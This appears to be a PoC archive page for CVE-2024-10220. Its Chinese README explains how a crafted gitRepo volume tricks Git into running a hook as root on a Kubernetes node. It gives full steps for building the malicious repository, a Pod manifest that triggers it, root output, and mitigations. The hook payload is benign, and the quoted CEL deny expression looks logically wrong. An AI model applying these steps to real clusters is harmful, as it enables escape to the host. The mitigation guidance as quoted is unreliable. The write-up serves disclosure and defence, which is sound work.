Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-10220 PoC — Arbitrary command execution through gitRepo volume

Source
Associated Vulnerability
Title:Arbitrary command execution through gitRepo volume (CVE-2024-10220)
Description:The Kubernetes kubelet component allows arbitrary command execution via specially crafted gitRepo volumes.This issue affects kubelet: through 1.28.11, from 1.29.0 through 1.29.6, from 1.30.0 through 1.30.2.
Description
CVE-2024-10220 Test repo
Readme
# CVE-2024-10220 Test
Kubernetes 支持卷(Volume)概念,也称为存储驱动。这一概念使得可以扩展或简化为 Pod 提供数据的方式。截至目前,Kubernetes 核心版本中有 16 个不同的卷驱动可供默认安装使用。

这篇博客文章的重点是 `gitRepo` 卷驱动,以及最近公开披露的一个尚未修复的安全漏洞。除了技术分析之外,我们还将建议一些安全控制措施,以防止该漏洞被利用。

### gitRepo 卷驱动和 CVE-2018–11235 漏洞

`gitRepo` 卷驱动允许引用 Git 仓库的 URL;Kubelet 会检出该仓库,并将仓库中的文件提供给应用程序。

这并不是该驱动第一次出现安全问题:在 2018 年,Git CLI 本身发现了一个漏洞(CVE-2018–11235),当一个恶意的子模块引用被利用时,会导致代码执行。这个漏洞同样可以在 `gitRepo` 卷驱动中被利用:攻击者可以在宿主节点的工作节点上下文中,以 root 权限执行任意命令。

当时,修复方式是升级到 Git CLI 的最新修复版本。当这个漏洞在 2018 年被发现时,Kubernetes 维护者决定废弃 `gitRepo` 卷驱动,并在官方文档中添加了以下警告:

> 为了为一个挂载了 Git 仓库的 Pod 提供服务,你可以在初始化容器中挂载一个 `emptyDir` 卷,该容器使用 Git 克隆仓库,然后将 `emptyDir` 卷挂载到 Pod 容器中。

### 但是,`gitRepo` 依然存在漏洞

新的漏洞是 Kubernetes 特有的,但其影响和 2018 年一样,依然影响废弃的 `gitRepo` 卷驱动,并通过一个特制的 Git 仓库诱使 Git CLI 执行命令。

为了理解它是如何工作的,我们先来看一下 `gitRepo` 卷驱动的配置选项:

- `repository`:要克隆的 Git 仓库 URL
- `revision`:(可选)要检出的提交哈希或标签
- `directory`:(可选)要检出仓库的卷中的子目录

实现上,首先会执行 `git clone` OS 命令。然后,如果配置了 `revision`,还会执行 `git checkout` 和 `git reset` 等后续命令。这个新漏洞正是通过利用这两个可选配置项来实现的。

漏洞的原理在于:Git 允许将仓库检出到任意深度的子目录(例如 `something/you/prefer`)。无论如何,后续的命令始终在第一层目录(例如 `something`)执行。

这允许攻击者将一个特制的仓库克隆到名为 `something/.git` 的子目录中,并且可以在其中放入任意内容,这时驱动会在 `something` 目录执行 `git checkout`。Git CLI 会进入 `something/.git` 子目录,攻击者在该目录中提前构造了一个文件结构,模仿了一个裸仓库的 `.git` 子目录结构。(注意:在这种情况下,`something/.git/.git` 目录也会存在,但 Git CLI 并不关心它。)

简而言之:Git CLI 会误以为自己正在操作一个裸仓库,尽管实际上它是在一个普通仓库中。

- **目录:** `something/.git`:这是卷配置中指定的目录,Git 克隆时会将恶意仓库检出到此目录。仓库中检出的文件被精心设计,看起来像一个裸仓库。
- **目录:** `something/.git/.git`:Git CLI 将在该目录下填充裸仓库的元数据和对象,这正是 Git CLI 后续步骤所需要使用的内容,但它却少了一个层级。
- **目录:** `something`:这是卷驱动执行后续命令的地方。因此,Git CLI 会将 `something/.git` 当作裸仓库,而不是 `something/.git/.git`。

利用这个漏洞,攻击者可以控制假裸仓库的 Git 配置文件,从而可以调用多种命令。攻击者还可以控制 hooks 子目录。

以下是如何构造这样一个仓库,并设置一个自定义的 `post-checkout` hook:

```bash
# 初始化一个新的 git 仓库
mkdir gitongit && cd gitongit
git init

# 创建要执行的 hook
mkdir hooks
cat >hooks/post-checkout <<'EOF'
#!/bin/sh
id > /tmp/poc
EOF
chmod +x hooks/post-checkout

# 裸仓库根目录必须有 HEAD、config 和 objects 文件:
cp .git/HEAD .git/config .
cp -r .git/objects .
git add .
git commit -m "first"

# 在下一轮中添加 logs、refs,并刷新对象:
cp -r .git/logs .git/objects .git/refs .
git add .
git commit -m "second"
```

验证仓库构建是否正确的低级步骤:

```bash
cd /tmp
mkdir cl && cd cl
git clone http://some.host/the-repo-you-just-built.git something/.git
cd something
git checkout main
cat /tmp/poc
```

将这些步骤综合在一起,以下的 Pod 定义会执行我们配置的 `post-checkout` hook:

```yaml
kubectl apply -f - <<'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: test-pd
spec:
  containers:
  - image: alpine:latest
    command: ["sleep","86400"]
    name: test-container
    volumeMounts:
    - mountPath: /gitrepo
      name: gitvolume
  volumes:
  - name: gitvolume
    gitRepo:
      directory: g/.git
      repository: https://github.com/irsl/g.git
      revision: main
EOF
```

然后,在 Pod 被调度到的工作节点上,我们可以在宿主机上找到这个标志文件:

```bash
user@gke-cluster-2-default-pool-6602275c-3zk3 ~ $ cat /tmp/poc
uid=0(root) gid=0(root) groups=0(root)
```

利用该漏洞需要具备创建 Pod 的权限,并且该卷驱动必须可用。漏洞的影响是代码能够在宿主机的安全上下文中执行(可以称之为“沙箱逃逸”)。

### 如何防止这个漏洞?

Kubernetes 维护者决定不修复这个漏洞,因为该驱动已经废弃了超过 5 年,而且文档中已经指出了一个绕过方案。因此,文档中还增加了一条警告:

> 你可以使用诸如 `ValidatingAdmissionPolicy` 之类的策略,限制在集群中使用 `gitRepo` 卷。可以使用以下的 Common Expression Language (CEL) 表达式作为策略的一部分,拒绝使用 `gitRepo` 卷:`has(object.spec.volumes) || !object.spec.volumes.exists(v, has(v.gitRepo))`。

为什么供应商没有直接移除这个驱动?这其实很难做到,因为平台必须保证向后兼容。

总之,由于这是实现问题,我们决定通过提交 PR 来修复这个漏洞。Kubernetes 1.31 版本将在 8 月发布,修复此问题。

另外,值得一提的是,这个驱动在 GKE Autopilot 中一直是禁用的。

另一种缓解方法是使用 acjs,这是一个 admission 控制器,可以将你的 `gitRepo` 卷转为 initContainer。
File Snapshot

[4.0K] /data/pocs/69d9d3527ac646d9508cfc8c40c0c4f752c8f50d ├── [ 92] config ├── [ 23] HEAD ├── [4.0K] hooks │   └── [ 67] post-checkout ├── [ 11K] LICENSE ├── [4.0K] logs │   ├── [ 155] HEAD │   └── [4.0K] refs │   └── [4.0K] heads │   └── [ 155] master ├── [4.0K] objects │   ├── [4.0K] 47 │   │   └── [ 83] a0c00b3d4c5ee89bde4493f2e9be760e5de553 │   ├── [4.0K] 51 │   │   └── [ 92] 5f4836297fdf7567c066983c16e5eff598f7bd │   ├── [4.0K] 7d │   │   └── [ 125] d14d0290b3fb7a4a45ea31e2e93b2b293f712e │   ├── [4.0K] 95 │   │   └── [ 58] 45f069ed6b142dd70e12a082ad786f530b1a37 │   ├── [4.0K] af │   │   └── [ 110] 600098238b7e234f440f9bd18fd370962ba2c2 │   └── [4.0K] cb │   └── [ 37] 089cd89a7d7686d284d8761201649346b5aa1c ├── [6.2K] README.md └── [4.0K] refs └── [4.0K] heads └── [ 41] master 13 directories, 14 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →